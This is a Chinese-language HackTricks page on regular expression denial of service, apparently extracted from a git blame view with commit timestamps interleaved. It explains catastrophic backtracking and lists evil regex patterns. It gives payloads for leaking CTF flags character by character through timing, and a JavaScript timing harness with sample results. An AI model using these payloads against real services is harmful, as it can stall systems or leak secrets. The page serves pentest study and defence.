2023-08-03 19:12:22 +00:00
|
|
|
|
# 正则表达式拒绝服务 - ReDoS
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 你在一家**网络安全公司**工作吗?想要在 HackTricks 中看到你的**公司广告**吗?或者你想要**获取最新版本的 PEASS 或下载 PDF 格式的 HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 简介
|
2021-01-26 13:51:43 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**摘自** [**https://owasp.org/www-community/attacks/Regular\_expression\_Denial\_of\_Service\_-\_ReDoS**](https://owasp.org/www-community/attacks/Regular\_expression\_Denial\_of\_Service\_-\_ReDoS)
|
2021-01-26 13:53:03 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**正则表达式拒绝服务 (ReDoS)** 是一种[拒绝服务](https://owasp.org/www-community/attacks/Denial\_of\_Service)攻击,利用了大多数正则表达式实现可能会导致其工作非常缓慢(与输入大小呈指数关系)的事实。攻击者可以使使用正则表达式的程序进入这些极端情况,然后长时间停顿。
|
2021-01-26 13:51:43 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 描述
|
2021-01-26 13:51:43 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
#### 有问题的正则表达式天真算法 <a href="#the-problematic-regex-naive-algorithm" id="the-problematic-regex-naive-algorithm"></a>
|
2021-01-26 13:51:43 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
正则表达式天真算法构建了一个[非确定有限自动机 (NFA)](https://en.wikipedia.org/wiki/Nondeterministic\_finite\_state\_machine),它是一个有限状态机,对于每对状态和输入符号,可能有多个可能的下一个状态。然后引擎开始进行转换,直到输入结束。由于可能有多个可能的下一个状态,使用确定性算法。该算法逐个尝试所有可能的路径(如果需要),直到找到匹配项(或尝试并失败所有路径)。
|
2021-01-26 13:51:43 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
例如,正则表达式 `^(a+)+$` 由以下 NFA 表示:
|
2021-01-26 13:51:43 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
![非确定有限自动机](https://owasp.org/www-community/assets/images/attacks/NFA.png)
|
2021-01-26 13:51:43 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
对于输入 `aaaaX`,上述图中有 16 条可能的路径。但对于 `aaaaaaaaaaaaaaaaX`,有 65536 条可能的路径,并且每增加一个 `a`,数量就会翻倍。这是天真算法有问题的一个极端情况,因为它必须经过许多路径,然后失败。
|
2021-01-26 13:51:43 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
请注意,并非所有算法都是天真的,实际上,正则表达式算法可以以高效的方式编写。不幸的是,今天大多数正则表达式引擎尝试解决的不仅仅是“纯粹”的正则表达式,还包括带有“特殊附加项”的“扩展”正则表达式,例如不能始终高效解决的反向引用(有关更多详细信息,请参见[Wiki-Regex](https://en.wikipedia.org/wiki/Regular\_expression)中的“非正则语言的模式”)。因此,即使正则表达式不是“扩展”的,也会使用天真算法。
|
2021-01-26 13:51:43 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
#### 恶意正则表达式 <a href="#evil-regexes" id="evil-regexes"></a>
|
2021-01-26 13:51:43 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
如果一个正则表达式可以在特定输入上卡住,那么它被称为“恶意”正则表达式。
|
2021-01-26 13:51:43 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**恶意正则表达式模式包含**:
|
2021-01-26 13:51:43 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 重复的分组
|
|
|
|
|
* 在重复的分组内部:
|
|
|
|
|
* 重复
|
|
|
|
|
* 重叠的选择
|
2021-01-26 13:51:43 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**恶意模式示例**:
|
2021-01-26 13:51:43 +00:00
|
|
|
|
|
|
|
|
|
* `(a+)+`
|
|
|
|
|
* `([a-zA-Z]+)*`
|
|
|
|
|
* `(a|aa)+`
|
|
|
|
|
* `(a|a?)+`
|
|
|
|
|
* `(.*a){x} for x \> 10`
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
上述所有模式都容易受到输入 `aaaaaaaaaaaaaaaaaaaaaaaa!` 的影响(在使用更快或更慢的机器时,最小输入长度可能会略有变化)。
|
2021-01-26 13:51:43 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## ReDoS 载荷
|
2022-04-05 22:13:36 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 通过 ReDoS 进行字符串泄露
|
2022-04-05 22:13:36 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
在 CTF(或漏洞赏金)中,也许你**控制了与敏感信息(标志)匹配的正则表达式**。然后,如果**正则表达式匹配**,而**不匹配则不匹配**,使页面**冻结(超时或更长的处理时间)**可能会很有用。这样,你就可以**逐个字符地泄露**字符串:
|
2022-04-05 22:13:36 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 在[**这篇文章**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)中,你可以找到这个 ReDoS 规则:`^(?=<flag>)((.*)*)*salt$`
|
|
|
|
|
* 示例:`^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
|
|
|
|
|
* 在[**这篇解答**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)中,你可以找到这个:`<flag>(((((((.*)*)*)*)*)*)*)!`
|
|
|
|
|
* 在[**这篇解答**](https://ctftime.org/writeup/25869)中,他使用了:`^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
|
|
|
|
|
### 控制输入和正则表达式的 ReDoS
|
2021-01-26 13:51:43 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
以下是一些 ReDoS 示例,您可以同时控制输入和正则表达式:
|
2021-01-26 13:51:43 +00:00
|
|
|
|
```javascript
|
|
|
|
|
function check_time_regexp(regexp, text){
|
2023-08-03 19:12:22 +00:00
|
|
|
|
var t0 = new Date().getTime();;
|
|
|
|
|
new RegExp(regexp).test(text);
|
|
|
|
|
var t1 = new Date().getTime();;
|
|
|
|
|
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
|
2021-01-26 13:51:43 +00:00
|
|
|
|
}
|
|
|
|
|
|
2022-04-05 22:13:36 +00:00
|
|
|
|
// This payloads work because the input has several "a"s
|
2021-01-26 13:51:43 +00:00
|
|
|
|
[
|
|
|
|
|
// "((a+)+)+$", //Eternal,
|
|
|
|
|
// "(a?){100}$", //Eternal
|
2023-08-03 19:12:22 +00:00
|
|
|
|
"(a|a?)+$",
|
|
|
|
|
"(\\w*)+$", //Generic
|
|
|
|
|
"(a*)+$",
|
|
|
|
|
"(.*a){100}$",
|
|
|
|
|
"([a-zA-Z]+)*$", //Generic
|
|
|
|
|
"(a+)*$",
|
2021-01-26 13:51:43 +00:00
|
|
|
|
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
|
|
|
|
|
|
|
|
|
|
/*
|
|
|
|
|
Regexp (a|a?)+$ took 5076 milliseconds.
|
|
|
|
|
Regexp (\w*)+$ took 3198 milliseconds.
|
|
|
|
|
Regexp (a*)+$ took 3281 milliseconds.
|
|
|
|
|
Regexp (.*a){100}$ took 1436 milliseconds.
|
|
|
|
|
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
|
|
|
|
|
Regexp (a+)*$ took 723 milliseconds.
|
|
|
|
|
*/
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 工具
|
2021-04-16 09:25:21 +00:00
|
|
|
|
|
2022-04-27 12:34:57 +00:00
|
|
|
|
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
|
|
|
|
|
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 你在一个 **网络安全公司** 工作吗?你想在 HackTricks 中看到你的 **公司广告** 吗?或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF 版本** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|